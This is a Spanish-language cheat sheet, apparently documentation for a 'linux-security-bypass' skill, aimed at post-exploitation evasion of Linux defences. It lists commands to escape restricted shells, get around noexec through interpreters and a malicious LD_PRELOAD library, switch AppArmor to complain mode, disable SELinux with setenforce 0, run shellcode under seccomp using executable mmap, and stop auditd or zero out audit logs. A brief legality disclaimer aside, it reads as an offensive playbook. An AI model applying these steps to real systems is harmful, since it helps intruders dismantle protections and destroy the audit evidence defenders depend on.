¿Qué hace linux-security-bypass?
Manual de evasión de mecanismos de seguridad en Linux. Útil al enfrentar bash/rbash restringido, sistemas de archivos de solo lectura o noexec, AppArmor, SELinux, filtros seccomp o registros de auditoría que deben ser evadidos durante la post-explotación.
Técnicas de evasión
Bash/Rbash restringido
- Uso de editores:
vi,vim,nano,edpueden permitir ejecutar comandos.- En
vi::!comando - En
ed:!comando
- En
- Intérpretes alternativos:
python,perl,ruby,lua,node- Ejemplo:
python -c 'import os; os.system("/bin/sh")'
- Ejemplo:
- Variables de entorno:
BASH_CMDS,$0,$_BASH_CMDS[a]=/bin/sh; a$_(el último argumento del comando anterior)
Sistemas de archivos de solo lectura
- Montaje remoto: Si hay acceso a red, montar un sistema de archivos remoto con permisos de escritura.
mount -t nfs 192.168.1.100:/compartido /mnt
- tmpfs: Crear un sistema de archivos temporal en memoria.
mount -t tmpfs tmpfs /tmp(requiere permisos de root)
- /dev/shm: Por lo general,
/dev/shmes escribible incluso en sistemas con restricciones.
Noexec
- Intérpretes: Usar intérpretes que carguen scripts directamente desde stdin.
python -c 'código'perl -e 'código'
- Enlace simbólico: Crear un enlace simbólico a un binario que no esté en un sistema noexec.
- LD_PRELOAD: Cargar una biblioteca compartida maliciosa.
LD_PRELOAD=/path/to/malicious.so /bin/ls
- Compilación estática: Compilar binarios estáticamente y ejecutarlos desde un directorio escribible.
AppArmor
- Listar perfiles:
aa-statusocat /sys/kernel/security/apparmor/profiles - Modo de queja: Si se tiene acceso de root, cambiar el modo a "complain" (queja) para evitar bloqueos.
aa-complain /path/to/binario
- Evasión con intérpretes: A menudo, los intérpretes como Python no están confinados.
- Explotación de agujeros: Buscar binarios SUID que no estén protegidos.
SELinux
- Comprobación de estado:
getenforce,sestatus - Deshabilitación temporal: Si se tiene acceso de root,
setenforce 0(requiere permisos de administrador). - Contextos: Ejecutar comandos con un contexto diferente usando
runcon.runcon -t shell_exec_t /bin/sh
- Uso de binarios no etiquetados: Buscar binarios en directorios no estándar.
Filtros seccomp
- syscalls comunes: Los filtros suelen bloquear
execve,fork,clone. Se pueden usarmmapconPROT_EXECpara ejecutar código. - Uso de mmap:
mmap(NULL, tamaño, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) - Shellcode: Escribir shellcode directamente en memoria y ejecutarlo.
- Llamadas al sistema alternativas: Buscar syscalls equivalentes (por ejemplo,
openaten lugar deopen).
Registro de auditoría (auditd)
- Deshabilitación: Si se tiene acceso de root,
service auditd stoposystemctl stop auditd. - Sobrescritura de logs:
dd if=/dev/zero of=/var/log/audit/audit.log(requiere permisos). - Ocultamiento de actividad: Usar
unlinkpara eliminar archivos de log específicos. - Redirección de salida: Ejecutar comandos con redirección a
/dev/nullo a un pipe.
Herramientas útiles
- strace: Para depurar llamadas al sistema y entender filtros.
- ltrace: Para depurar llamadas a bibliotecas.
- gdb: Depurador de GNU para análisis avanzado.
- objdump: Para inspeccionar binarios.
- checksec: Para verificar protecciones de seguridad en binarios (RELRO, Stack Canary, NX, PIE).
Notas importantes
- Permisos de root: Muchas técnicas requieren privilegios de root. Si no se tienen, buscar escalada de privilegios primero.
- Detección: Algunas técnicas pueden ser detectadas por sistemas de detección de intrusiones (IDS) o sistemas de prevención de intrusiones (IPS).
- Legalidad: Utilizar únicamente en sistemas propios o con autorización explícita. No usar para actividades maliciosas.
- Actualizaciones: Los mecanismos de seguridad evolucionan; revisar siempre la documentación más reciente.
Referencias
- GTFOBins - Binarios Unix que se pueden usar para evasión de restricciones.
- Linux Security Modules - Documentación oficial del kernel.
- Seccomp - Documentación sobre filtros seccomp.